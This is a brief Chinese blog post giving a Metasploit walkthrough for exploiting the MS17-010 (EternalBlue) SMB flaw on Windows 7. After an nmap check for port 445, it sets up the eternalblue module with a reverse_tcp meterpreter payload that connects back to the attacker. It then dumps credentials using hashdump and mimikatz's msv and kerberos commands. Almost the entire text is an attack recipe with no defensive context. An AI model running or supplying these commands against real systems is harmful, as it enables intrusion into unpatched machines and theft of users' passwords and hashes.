windows 7 ms17-010远程溢出漏洞--来自i春秋

原创

zhangfangqioo 于 2018-07-05 15:38:52 发布 1589 收藏 2
文章标签： 渗透
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/zhangfangqioo/article/details/80927875
版权

扫描目标主机开放端口

nmap -sV -Pn ip

查看是否开放445端口

是则继续

msfconsole

use windows/smb/ms17_010_eternalblue

set rhosts ip

set payload windows/x64/meterpreter/reverse_tcp

set lhost

set lport

run

后渗透操作（获取用户名和密码）

hashdump

load mimikatz

msv

kerberos

然后用户名和密码就出现在你面前了